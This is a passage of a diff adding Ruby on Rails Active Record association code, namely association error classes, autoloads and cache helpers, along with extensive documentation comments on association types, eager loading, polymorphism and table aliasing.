+ super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.")
+ end
+ end
+
+ class HasOneThroughCantAssociateThroughCollection < ActiveRecordError #:nodoc:
+ def initialize(owner_class_name, reflection, through_reflection)
+ super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' where the :through association '#{owner_class_name}##{through_reflection.name}' is a collection. Specify a has_one or belongs_to association in the :through option instead.")
+ end
+ end
+
+ class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc:
+ def initialize(reflection)
+ through_reflection = reflection.through_reflection
+ source_reflection_names = reflection.source_reflection_names
+ source_associations = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
+ super("Could not find the source association(s) #{source_reflection_names.collect{ |a| a.inspect }.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
+ end
+ end
+
+ class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError #:nodoc:
+ def initialize(owner, reflection)
+ super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.")
+ end
+ end
+
+ class HasManyThroughCantAssociateNewRecords < ActiveRecordError #:nodoc:
+ def initialize(owner, reflection)
+ super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.")
+ end
+ end
+
+ class HasManyThroughCantDissociateNewRecords < ActiveRecordError #:nodoc:
+ def initialize(owner, reflection)
+ super("Cannot dissociate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to delete the has_many :through record associating them.")
+ end
+ end
+
+ class HasManyThroughNestedAssociationsAreReadonly < ActiveRecordError #:nodoc:
+ def initialize(owner, reflection)
+ super("Cannot modify association '#{owner.class.name}##{reflection.name}' because it goes through more than one other association.")
+ end
+ end
+
+ class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
+ def initialize(reflection)
+ super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
+ end
+ end
+
+ class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
+ def initialize(reflection)
+ super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
+ end
+ end
+
+ class ReadOnlyAssociation < ActiveRecordError #:nodoc:
+ def initialize(reflection)
+ super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
+ end
+ end
+
+ # This error is raised when trying to destroy a parent instance in N:1 or 1:1 associations
+ # (has_many, has_one) when there is at least 1 child associated instance.
+ # ex: if @project.tasks.size > 0, DeleteRestrictionError will be raised when trying to destroy @project
+ class DeleteRestrictionError < ActiveRecordError #:nodoc:
+ def initialize(name)
+ super("Cannot delete record because of dependent #{name}")
+ end
+ end
+
+ # See ActiveRecord::Associations::ClassMethods for documentation.
+ module Associations # :nodoc:
+ extend ActiveSupport::Autoload
+ extend ActiveSupport::Concern
+
+ # These classes will be loaded when associations are created.
+ # So there is no need to eager load them.
+ autoload :Association, 'active_record/associations/association'
+ autoload :SingularAssociation, 'active_record/associations/singular_association'
+ autoload :CollectionAssociation, 'active_record/associations/collection_association'
+ autoload :CollectionProxy, 'active_record/associations/collection_proxy'
+
+ autoload :BelongsToAssociation, 'active_record/associations/belongs_to_association'
+ autoload :BelongsToPolymorphicAssociation, 'active_record/associations/belongs_to_polymorphic_association'
+ autoload :HasAndBelongsToManyAssociation, 'active_record/associations/has_and_belongs_to_many_association'
+ autoload :HasManyAssociation, 'active_record/associations/has_many_association'
+ autoload :HasManyThroughAssociation, 'active_record/associations/has_many_through_association'
+ autoload :HasOneAssociation, 'active_record/associations/has_one_association'
+ autoload :HasOneThroughAssociation, 'active_record/associations/has_one_through_association'
+ autoload :ThroughAssociation, 'active_record/associations/through_association'
+
+ module Builder #:nodoc:
+ autoload :Association, 'active_record/associations/builder/association'
+ autoload :SingularAssociation, 'active_record/associations/builder/singular_association'
+ autoload :CollectionAssociation, 'active_record/associations/builder/collection_association'
+
+ autoload :BelongsTo, 'active_record/associations/builder/belongs_to'
+ autoload :HasOne, 'active_record/associations/builder/has_one'
+ autoload :HasMany, 'active_record/associations/builder/has_many'
+ autoload :HasAndBelongsToMany, 'active_record/associations/builder/has_and_belongs_to_many'
+ end
+
+ eager_autoload do
+ autoload :Preloader, 'active_record/associations/preloader'
+ autoload :JoinDependency, 'active_record/associations/join_dependency'
+ autoload :AssociationScope, 'active_record/associations/association_scope'
+ autoload :AliasTracker, 'active_record/associations/alias_tracker'
+ autoload :JoinHelper, 'active_record/associations/join_helper'
+ end
+
+ # Clears out the association cache.
+ def clear_association_cache #:nodoc:
+ @association_cache.clear if persisted?
+ end
+
+ # :nodoc:
+ attr_reader :association_cache
+
+ # Returns the association instance for the given name, instantiating it if it doesn't already exist
+ def association(name) #:nodoc:
+ association = association_instance_get(name)
+
+ if association.nil?
+ reflection = self.class.reflect_on_association(name)
+ association = reflection.association_class.new(self, reflection)
+ association_instance_set(name, association)
+ end
+
+ association
+ end
+
+ private
+ # Returns the specified association instance if it responds to :loaded?, nil otherwise.
+ def association_instance_get(name)
+ @association_cache[name.to_sym]
+ end
+
+ # Set the specified association instance.
+ def association_instance_set(name, association)
+ @association_cache[name] = association
+ end
+
+ # Associations are a set of macro-like class methods for tying objects together through
+ # foreign keys. They express relationships like "Project has one Project Manager"
+ # or "Project belongs to a Portfolio". Each macro adds a number of methods to the
+ # class which are specialized according to the collection or association symbol and the
+ # options hash. It works much the same way as Ruby's own <tt>attr*</tt>
+ # methods.
+ #
+ # class Project < ActiveRecord::Base
+ # belongs_to :portfolio
+ # has_one :project_manager
+ # has_many :milestones
+ # has_and_belongs_to_many :categories
+ # end
+ #
+ # The project class now has the following methods (and more) to ease the traversal and
+ # manipulation of its relationships:
+ # * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt>
+ # * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt>
+ # * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt>
+ # <tt>Project#milestones.delete(milestone), Project#milestones.destroy(milestone), Project#milestones.find(milestone_id),</tt>
+ # <tt>Project#milestones.build, Project#milestones.create</tt>
+ # * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
+ # <tt>Project#categories.delete(category1), Project#categories.destroy(category1)</tt>
+ #
+ # === A word of warning
+ #
+ # Don't create associations that have the same name as instance methods of
+ # <tt>ActiveRecord::Base</tt>. Since the association adds a method with that name to
+ # its model, it will override the inherited method and break things.
+ # For instance, +attributes+ and +connection+ would be bad choices for association names.
+ #
+ # == Auto-generated methods
+ #
+ # === Singular associations (one-to-one)
+ # | | belongs_to |
+ # generated methods | belongs_to | :polymorphic | has_one
+ # ----------------------------------+------------+--------------+---------
+ # other | X | X | X
+ # other=(other) | X | X | X
+ # build_other(attributes={}) | X | | X
+ # create_other(attributes={}) | X | | X
+ # create_other!(attributes={}) | X | | X
+ #
+ # ===Collection associations (one-to-many / many-to-many)
+ # | | | has_many
+ # generated methods | habtm | has_many | :through
+ # ----------------------------------+-------+----------+----------
+ # others | X | X | X
+ # others=(other,other,...) | X | X | X
+ # other_ids | X | X | X
+ # other_ids=(id,id,...) | X | X | X
+ # others<< | X | X | X
+ # others.push | X | X | X
+ # others.concat | X | X | X
+ # others.build(attributes={}) | X | X | X
+ # others.create(attributes={}) | X | X | X
+ # others.create!(attributes={}) | X | X | X
+ # others.size | X | X | X
+ # others.length | X | X | X
+ # others.count | X | X | X
+ # others.sum(*args) | X | X | X
+ # others.empty? | X | X | X
+ # others.clear | X | X | X
+ # others.delete(other,other,...) | X | X | X
+ # others.delete_all | X | X | X
+ # others.destroy(other,other,...) | X | X | X
+ # others.destroy_all | X | X | X
+ # others.find(*args) | X | X | X
+ # others.exists? | X | X | X
+ # others.distinct | X | X | X
+ # others.uniq | X | X | X
+ # others.reset | X | X | X
+ #
+ # === Overriding generated methods
+ #
+ # Association methods are generated in a module that is included into the model class,
+ # which allows you to easily override with your own methods and call the original
+ # generated method with +super+. For example:
+ #
+ # class Car < ActiveRecord::Base
+ # belongs_to :owner
+ # belongs_to :old_owner
+ # def owner=(new_owner)
+ # self.old_owner = self.owner
+ # super
+ # end
+ # end
+ #
+ # If your model class is <tt>Project</tt>, the module is
+ # named <tt>Project::GeneratedFeatureMethods</tt>. The GeneratedFeatureMethods module is
+ # included in the model class immediately after the (anonymous) generated attributes methods
+ # module, meaning an association will override the methods for an attribute with the same name.
+ #
+ # == Cardinality and associations
+ #
+ # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many
+ # relationships between models. Each model uses an association to describe its role in
+ # the relation. The +belongs_to+ association is always used in the model that has
+ # the foreign key.
+ #
+ # === One-to-one
+ #
+ # Use +has_one+ in the base, and +belongs_to+ in the associated model.
+ #
+ # class Employee < ActiveRecord::Base
+ # has_one :office
+ # end
+ # class Office < ActiveRecord::Base
+ # belongs_to :employee # foreign key - employee_id
+ # end
+ #
+ # === One-to-many
+ #
+ # Use +has_many+ in the base, and +belongs_to+ in the associated model.
+ #
+ # class Manager < ActiveRecord::Base
+ # has_many :employees
+ # end
+ # class Employee < ActiveRecord::Base
+ # belongs_to :manager # foreign key - manager_id
+ # end
+ #
+ # === Many-to-many
+ #
+ # There are two ways to build a many-to-many relationship.
+ #
+ # The first way uses a +has_many+ association with the <tt>:through</tt> option and a join model, so
+ # there are two stages of associations.
+ #
+ # class Assignment < ActiveRecord::Base
+ # belongs_to :programmer # foreign key - programmer_id
+ # belongs_to :project # foreign key - project_id
+ # end
+ # class Programmer < ActiveRecord::Base
+ # has_many :assignments
+ # has_many :projects, through: :assignments
+ # end
+ # class Project < ActiveRecord::Base
+ # has_many :assignments
+ # has_many :programmers, through: :assignments
+ # end
+ #
+ # For the second way, use +has_and_belongs_to_many+ in both models. This requires a join table
+ # that has no corresponding model or primary key.
+ #
+ # class Programmer < ActiveRecord::Base
+ # has_and_belongs_to_many :projects # foreign keys in the join table
+ # end
+ # class Project < ActiveRecord::Base
+ # has_and_belongs_to_many :programmers # foreign keys in the join table
+ # end
+ #
+ # Choosing which way to build a many-to-many relationship is not always simple.
+ # If you need to work with the relationship model as its own entity,
+ # use <tt>has_many :through</tt>. Use +has_and_belongs_to_many+ when working with legacy schemas or when
+ # you never work directly with the relationship itself.
+ #
+ # == Is it a +belongs_to+ or +has_one+ association?
+ #
+ # Both express a 1-1 relationship. The difference is mostly where to place the foreign
+ # key, which goes on the table for the class declaring the +belongs_to+ relationship.
+ #
+ # class User < ActiveRecord::Base
+ # # I reference an account.
+ # belongs_to :account
+ # end
+ #
+ # class Account < ActiveRecord::Base
+ # # One user references me.
+ # has_one :user
+ # end
+ #
+ # The tables for these classes could look something like:
+ #
+ # CREATE TABLE users (
+ # id int(11) NOT NULL auto_increment,
+ # account_id int(11) default NULL,
+ # name varchar default NULL,
+ # PRIMARY KEY (id)
+ # )
+ #
+ # CREATE TABLE accounts (
+ # id int(11) NOT NULL auto_increment,
+ # name varchar default NULL,
+ # PRIMARY KEY (id)
+ # )
+ #
+ # == Unsaved objects and associations
+ #
+ # You can manipulate objects and associations before they are saved to the database, but
+ # there is some special behavior you should be aware of, mostly involving the saving of
+ # associated objects.
+ #
+ # You can set the :autosave option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
+ # <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association. Setting it
+ # to +true+ will _always_ save the members, whereas setting it to +false+ will
+ # _never_ save the members. More details about :autosave option is available at
+ # autosave_association.rb .
+ #
+ # === One-to-one associations
+ #
+ # * Assigning an object to a +has_one+ association automatically saves that object and
+ # the object being replaced (if there is one), in order to update their foreign
+ # keys - except if the parent object is unsaved (<tt>new_record? == true</tt>).
+ # * If either of these saves fail (due to one of the objects being invalid), an
+ # <tt>ActiveRecord::RecordNotSaved</tt> exception is raised and the assignment is
+ # cancelled.
+ # * If you wish to assign an object to a +has_one+ association without saving it,
+ # use the <tt>build_association</tt> method (documented below). The object being
+ # replaced will still be saved to update its foreign key.
+ # * Assigning an object to a +belongs_to+ association does not save the object, since
+ # the foreign key field belongs on the parent. It does not save the parent either.
+ #
+ # === Collections
+ #
+ # * Adding an object to a collection (+has_many+ or +has_and_belongs_to_many+) automatically
+ # saves that object, except if the parent object (the owner of the collection) is not yet
+ # stored in the database.
+ # * If saving any of the objects being added to a collection (via <tt>push</tt> or similar)
+ # fails, then <tt>push</tt> returns +false+.
+ # * If saving fails while replacing the collection (via <tt>association=</tt>), an
+ # <tt>ActiveRecord::RecordNotSaved</tt> exception is raised and the assignment is
+ # cancelled.
+ # * You can add an object to a collection without automatically saving it by using the
+ # <tt>collection.build</tt> method (documented below).
+ # * All unsaved (<tt>new_record? == true</tt>) members of the collection are automatically
+ # saved when the parent is saved.
+ #
+ # == Customizing the query
+ #
+ # Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax
+ # to customize them. For example, to add a condition:
+ #
+ # class Blog < ActiveRecord::Base
+ # has_many :published_posts, -> { where published: true }, class_name: 'Post'
+ # end
+ #
+ # Inside the <tt>-> { ... }</tt> block you can use all of the usual <tt>Relation</tt> methods.
+ #
+ # === Accessing the owner object
+ #
+ # Sometimes it is useful to have access to the owner object when building the query. The owner
+ # is passed as a parameter to the block. For example, the following association would find all
+ # events that occur on the user's birthday:
+ #
+ # class User < ActiveRecord::Base
+ # has_many :birthday_events, ->(user) { where starts_on: user.birthday }, class_name: 'Event'
+ # end
+ #
+ # == Association callbacks
+ #
+ # Similar to the normal callbacks that hook into the life cycle of an Active Record object,
+ # you can also define callbacks that get triggered when you add an object to or remove an
+ # object from an association collection.
+ #
+ # class Project
+ # has_and_belongs_to_many :developers, after_add: :evaluate_velocity
+ #
+ # def evaluate_velocity(developer)
+ # ...
+ # end
+ # end
+ #
+ # It's possible to stack callbacks by passing them as an array. Example:
+ #
+ # class Project
+ # has_and_belongs_to_many :developers,
+ # after_add: [:evaluate_velocity, Proc.new { |p, d| p.shipping_date = Time.now}]
+ # end
+ #
+ # Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
+ #
+ # Should any of the +before_add+ callbacks throw an exception, the object does not get
+ # added to the collection. Same with the +before_remove+ callbacks; if an exception is
+ # thrown the object doesn't get removed.
+ #
+ # == Association extensions
+ #
+ # The proxy objects that control the access to associations can be extended through anonymous
+ # modules. This is especially beneficial for adding new finders, creators, and other
+ # factory-type methods that are only used as part of this association.
+ #
+ # class Account < ActiveRecord::Base
+ # has_many :people do
+ # def find_or_create_by_name(name)
+ # first_name, last_name = name.split(" ", 2)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
+ # end
+ # end
+ # end
+ #
+ # person = Account.first.people.find_or_create_by_name("David Heinemeier Hansson")
+ # person.first_name # => "David"
+ # person.last_name # => "Heinemeier Hansson"
+ #
+ # If you need to share the same extensions between many associations, you can use a named
+ # extension module.
+ #
+ # module FindOrCreateByNameExtension
+ # def find_or_create_by_name(name)
+ # first_name, last_name = name.split(" ", 2)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
+ # end
+ # end
+ #
+ # class Account < ActiveRecord::Base
+ # has_many :people, -> { extending FindOrCreateByNameExtension }
+ # end
+ #
+ # class Company < ActiveRecord::Base
+ # has_many :people, -> { extending FindOrCreateByNameExtension }
+ # end
+ #
+ # Some extensions can only be made to work with knowledge of the association's internals.
+ # Extensions can access relevant state using the following methods (where +items+ is the
+ # name of the association):
+ #
+ # * <tt>record.association(:items).owner</tt> - Returns the object the association is part of.
+ # * <tt>record.association(:items).reflection</tt> - Returns the reflection object that describes the association.
+ # * <tt>record.association(:items).target</tt> - Returns the associated object for +belongs_to+ and +has_one+, or
+ # the collection of associated objects for +has_many+ and +has_and_belongs_to_many+.
+ #
+ # However, inside the actual extension code, you will not have access to the <tt>record</tt> as
+ # above. In this case, you can access <tt>proxy_association</tt>. For example,
+ # <tt>record.association(:items)</tt> and <tt>record.items.proxy_association</tt> will return
+ # the same object, allowing you to make calls like <tt>proxy_association.owner</tt> inside
+ # association extensions.
+ #
+ # == Association Join Models
+ #
+ # Has Many associations can be configured with the <tt>:through</tt> option to use an
+ # explicit join model to retrieve the data. This operates similarly to a
+ # +has_and_belongs_to_many+ association. The advantage is that you're able to add validations,
+ # callbacks, and extra attributes on the join model. Consider the following schema:
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :authorships
+ # has_many :books, through: :authorships
+ # end
+ #
+ # class Authorship < ActiveRecord::Base
+ # belongs_to :author
+ # belongs_to :book
+ # end
+ #
+ # @author = Author.first
+ # @author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to
+ # @author.books # selects all books by using the Authorship join model
+ #
+ # You can also go through a +has_many+ association on the join model:
+ #
+ # class Firm < ActiveRecord::Base
+ # has_many :clients
+ # has_many :invoices, through: :clients
+ # end
+ #
+ # class Client < ActiveRecord::Base
+ # belongs_to :firm
+ # has_many :invoices
+ # end
+ #
+ # class Invoice < ActiveRecord::Base
+ # belongs_to :client
+ # end
+ #
+ # @firm = Firm.first
+ # @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
+ # @firm.invoices # selects all invoices by going through the Client join model
+ #
+ # Similarly you can go through a +has_one+ association on the join model:
+ #
+ # class Group < ActiveRecord::Base
+ # has_many :users
+ # has_many :avatars, through: :users
+ # end
+ #
+ # class User < ActiveRecord::Base
+ # belongs_to :group
+ # has_one :avatar
+ # end
+ #
+ # class Avatar < ActiveRecord::Base
+ # belongs_to :user
+ # end
+ #
+ # @group = Group.first
+ # @group.users.collect { |u| u.avatar }.compact # select all avatars for all users in the group
+ # @group.avatars # selects all avatars by going through the User join model.
+ #
+ # An important caveat with going through +has_one+ or +has_many+ associations on the
+ # join model is that these associations are *read-only*. For example, the following
+ # would not work following the previous example:
+ #
+ # @group.avatars << Avatar.new # this would work if User belonged_to Avatar rather than the other way around
+ # @group.avatars.delete(@group.avatars.last) # so would this
+ #
+ # If you are using a +belongs_to+ on the join model, it is a good idea to set the
+ # <tt>:inverse_of</tt> option on the +belongs_to+, which will mean that the following example
+ # works correctly (where <tt>tags</tt> is a +has_many+ <tt>:through</tt> association):
+ #
+ # @post = Post.first
+ # @tag = @post.tags.build name: "ruby"
+ # @tag.save
+ #
+ # The last line ought to save the through record (a <tt>Taggable</tt>). This will only work if the
+ # <tt>:inverse_of</tt> is set:
+ #
+ # class Taggable < ActiveRecord::Base
+ # belongs_to :post
+ # belongs_to :tag, inverse_of: :taggings
+ # end
+ #
+ # == Nested Associations
+ #
+ # You can actually specify *any* association with the <tt>:through</tt> option, including an
+ # association which has a <tt>:through</tt> option itself. For example:
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # has_many :comments, through: :posts
+ # has_many :commenters, through: :comments
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :comments
+ # end
+ #
+ # class Comment < ActiveRecord::Base
+ # belongs_to :commenter
+ # end
+ #
+ # @author = Author.first
+ # @author.commenters # => People who commented on posts written by the author
+ #
+ # An equivalent way of setting up this association this would be:
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # has_many :commenters, through: :posts
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :comments
+ # has_many :commenters, through: :comments
+ # end
+ #
+ # class Comment < ActiveRecord::Base
+ # belongs_to :commenter
+ # end
+ #
+ # When using nested association, you will not be able to modify the association because there
+ # is not enough information to know what modification to make. For example, if you tried to
+ # add a <tt>Commenter</tt> in the example above, there would be no way to tell how to set up the
+ # intermediate <tt>Post</tt> and <tt>Comment</tt> objects.
+ #
+ # == Polymorphic Associations
+ #
+ # Polymorphic associations on models are not restricted on what types of models they
+ # can be associated with. Rather, they specify an interface that a +has_many+ association
+ # must adhere to.
+ #
+ # class Asset < ActiveRecord::Base
+ # belongs_to :attachable, polymorphic: true
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :assets, as: :attachable # The :as option specifies the polymorphic interface to use.
+ # end
+ #
+ # @asset.attachable = @post
+ #
+ # This works by using a type column in addition to a foreign key to specify the associated
+ # record. In the Asset example, you'd need an +attachable_id+ integer column and an
+ # +attachable_type+ string column.
+ #
+ # Using polymorphic associations in combination with single table inheritance (STI) is
+ # a little tricky. In order for the associations to work as expected, ensure that you
+ # store the base model for the STI models in the type column of the polymorphic
+ # association. To continue with the asset example above, suppose there are guest posts
+ # and member posts that use the posts table for STI. In this case, there must be a +type+
+ # column in the posts table.
+ #
+ # class Asset < ActiveRecord::Base
+ # belongs_to :attachable, polymorphic: true
+ #
+ # def attachable_type=(sType)
+ # super(sType.to_s.classify.constantize.base_class.to_s)
+ # end
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # # because we store "Post" in attachable_type now dependent: :destroy will work
+ # has_many :assets, as: :attachable, dependent: :destroy
+ # end
+ #
+ # class GuestPost < Post
+ # end
+ #
+ # class MemberPost < Post
+ # end
+ #
+ # == Caching
+ #
+ # All of the methods are built on a simple caching principle that will keep the result
+ # of the last query around unless specifically instructed not to. The cache is even
+ # shared across methods to make it even cheaper to use the macro-added methods without
+ # worrying too much about performance at the first go.
+ #
+ # project.milestones # fetches milestones from the database
+ # project.milestones.size # uses the milestone cache
+ # project.milestones.empty? # uses the milestone cache
+ # project.milestones(true).size # fetches milestones from the database
+ # project.milestones # uses the milestone cache
+ #
+ # == Eager loading of associations
+ #
+ # Eager loading is a way to find objects of a certain class and a number of named associations.
+ # This is one of the easiest ways of to prevent the dreaded 1+N problem in which fetching 100
+ # posts that each need to display their author triggers 101 database queries. Through the
+ # use of eager loading, the 101 queries can be reduced to 2.
+ #
+ # class Post < ActiveRecord::Base
+ # belongs_to :author
+ # has_many :comments
+ # end
+ #
+ # Consider the following loop using the class above:
+ #
+ # Post.all.each do |post|
+ # puts "Post: " + post.title
+ # puts "Written by: " + post.author.name
+ # puts "Last comment on: " + post.comments.first.created_on
+ # end
+ #
+ # To iterate over these one hundred posts, we'll generate 201 database queries. Let's
+ # first just optimize it for retrieving the author:
+ #
+ # Post.includes(:author).each do |post|
+ #
+ # This references the name of the +belongs_to+ association that also used the <tt>:author</tt>
+ # symbol. After loading the posts, find will collect the +author_id+ from each one and load
+ # all the referenced authors with one query. Doing so will cut down the number of queries
+ # from 201 to 102.
+ #
+ # We can improve upon the situation further by referencing both associations in the finder with:
+ #
+ # Post.includes(:author, :comments).each do |post|
+ #
+ # This will load all comments with a single query. This reduces the total number of queries
+ # to 3. More generally the number of queries will be 1 plus the number of associations
+ # named (except if some of the associations are polymorphic +belongs_to+ - see below).
+ #
+ # To include a deep hierarchy of associations, use a hash:
+ #
+ # Post.includes(:author, {comments: {author: :gravatar}}).each do |post|
+ #
+ # That'll grab not only all the comments but all their authors and gravatar pictures.
+ # You can mix and match symbols, arrays and hashes in any combination to describe the
+ # associations you want to load.
+ #
+ # All of this power shouldn't fool you into thinking that you can pull out huge amounts
+ # of data with no performance penalty just because you've reduced the number of queries.
+ # The database still needs to send all the data to Active Record and it still needs to
+ # be processed. So it's no catch-all for performance problems, but it's a great way to
+ # cut down on the number of queries in a situation as the one described above.
+ #
+ # Since only one table is loaded at a time, conditions or orders cannot reference tables
+ # other than the main one. If this is the case Active Record falls back to the previously
+ # used LEFT OUTER JOIN based strategy. For example
+ #
+ # Post.includes([:author, :comments]).where(['comments.approved = ?', true])
+ #
+ # This will result in a single SQL query with joins along the lines of:
+ # <tt>LEFT OUTER JOIN comments ON comments.post_id = posts.id</tt> and
+ # <tt>LEFT OUTER JOIN authors ON authors.id = posts.author_id</tt>. Note that using conditions
+ # like this can have unintended consequences.
+ # In the above example posts with no approved comments are not returned at all, because
+ # the conditions apply to the SQL statement as a whole and not just to the association.
+ # You must disambiguate column references for this fallback to happen, for example
+ # <tt>order: "author.name DESC"</tt> will work but <tt>order: "name DESC"</tt> will not.
+ #
+ # If you do want eager load only some members of an association it is usually more natural
+ # to include an association which has conditions defined on it:
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :approved_comments, -> { where approved: true }, class_name: 'Comment'
+ # end
+ #
+ # Post.includes(:approved_comments)
+ #
+ # This will load posts and eager load the +approved_comments+ association, which contains
+ # only those comments that have been approved.
+ #
+ # If you eager load an association with a specified <tt>:limit</tt> option, it will be ignored,
+ # returning all the associated objects:
+ #
+ # class Picture < ActiveRecord::Base
+ # has_many :most_recent_comments, -> { order('id DESC').limit(10) }, class_name: 'Comment'
+ # end
+ #
+ # Picture.includes(:most_recent_comments).first.most_recent_comments # => returns all associated comments.
+ #
+ # Eager loading is supported with polymorphic associations.
+ #
+ # class Address < ActiveRecord::Base
+ # belongs_to :addressable, polymorphic: true
+ # end
+ #
+ # A call that tries to eager load the addressable model
+ #
+ # Address.includes(:addressable)
+ #
+ # This will execute one query to load the addresses and load the addressables with one
+ # query per addressable type.
+ # For example if all the addressables are either of class Person or Company then a total
+ # of 3 queries will be executed. The list of addressable types to load is determined on
+ # the back of the addresses loaded. This is not supported if Active Record has to fallback
+ # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError.
+ # The reason is that the parent model's type is a column value so its corresponding table
+ # name cannot be put in the +FROM+/+JOIN+ clauses of that query.
+ #
+ # == Table Aliasing
+ #
+ # Active Record uses table aliasing in the case that a table is referenced multiple times
+ # in a join. If a table is referenced only once, the standard table name is used. The
+ # second time, the table is aliased as <tt>#{reflection_name}_#{parent_table_name}</tt>.
+ # Indexes are appended for any more successive uses of the table name.
+ #
+ # Post.joins(:comments)
+ # # => SELECT ... FROM posts INNER JOIN comments ON ...
+ # Post.joins(:special_comments) # STI
+ # # => SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
+ # Post.joins(:comments, :special_comments) # special_comments is the reflection name, posts is the parent table name
+ # # => SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
+ #
+ # Acts as tree example:
+ #
+ # TreeMixin.joins(:children)
+ # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+ # TreeMixin.joins(children: :parent)
+ # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+ # INNER JOIN parents_mixins ...
+ # TreeMixin.joins(children: {parent: :children})
+ # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+ # INNER JOIN parents_mixins ...
+ # INNER JOIN mixins childrens_mixins_2
+ #
+ # Has and Belongs to Many join tables use the same idea, but add a <tt>_join</tt> suffix:
+ #
+ # Post.joins(:categories)
+ # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+ # Post.joins(categories: :posts)
+ # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+ # INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+ # Post.joins(categories: {posts: :categories})
+ # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+ # INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+ # INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
+ #
+ # If you wish to specify your own custom joins using <tt>joins</tt> method, those table
+ # names will take precedence over the eager associations:
+ #
+ # Post.joins(:comments).joins("inner join comments ...")
+ # # => SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
+ # Post.joins(:comments, :special_comments).joins("inner join comments ...")
+ # # => SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
+ # INNER JOIN comments special_comments_posts ...
+ # INNER JOIN comments ...
+ #
+ # Table aliases are automatically truncated according to the maximum length of table identifiers
+ # according to the specific database.
+ #
+ # == Modules
+ #
+ # By default, associations will look for objects within the current module scope. Consider:
+ #
+ # module MyApplication
+ # module Business
+ # class Firm < ActiveRecord::Base
+ # has_many :clients
+ # end
+ #
+ # class Client < ActiveRecord::Base; end
+ # end
+ # end
+ #
+ # When <tt>Firm#clients</tt> is called, it will in turn call
+ # <tt>MyApplication::Business::Client.find_all_by_firm_id(firm.id)</tt>.
+ # If you want to associate with a class in another module scope, this can be done by
+ # specifying the complete class name.
+ #
+ # module MyApplication
+ # module Business
+ # class Firm < ActiveRecord::Base; end
+ # end
+ #
+ # module Billing
+ # class Account < ActiveRecord::Base
+ # belongs_to :firm, class_name: "MyApplication::Business::Firm"
+ # end
+ # end
+ # end
+ #
+ # == Bi-directional associations
+ #
+ # When you specify an association there is usually an association on the associated model
+ # that specifies the same relationship in reverse. For example, with the following models:
+ #
+ # class Dungeon < ActiveRecord::Base
+ # has_many :traps
+ # has_one :evil_wizard
+ # end
+ #
+ # class Trap < ActiveRecord::Base
+ # belongs_to :dungeon
+ # end
+ #
+ # class EvilWizard < ActiveRecord::Base
+ # belongs_to :dungeon
+ # end
+ #
+ # The +traps+ association on +Dungeon+ and the +dungeon+ association on +Trap+ are
+ # the inverse of each other and the inverse of the +dungeon+ association on +EvilWizard+
+ # is the +evil_wizard+ association on +Dungeon+ (and vice-versa). By default,
+ # Active Record doesn't know anything about these inverse relationships and so no object
+ # loading optimization is possible. For example:
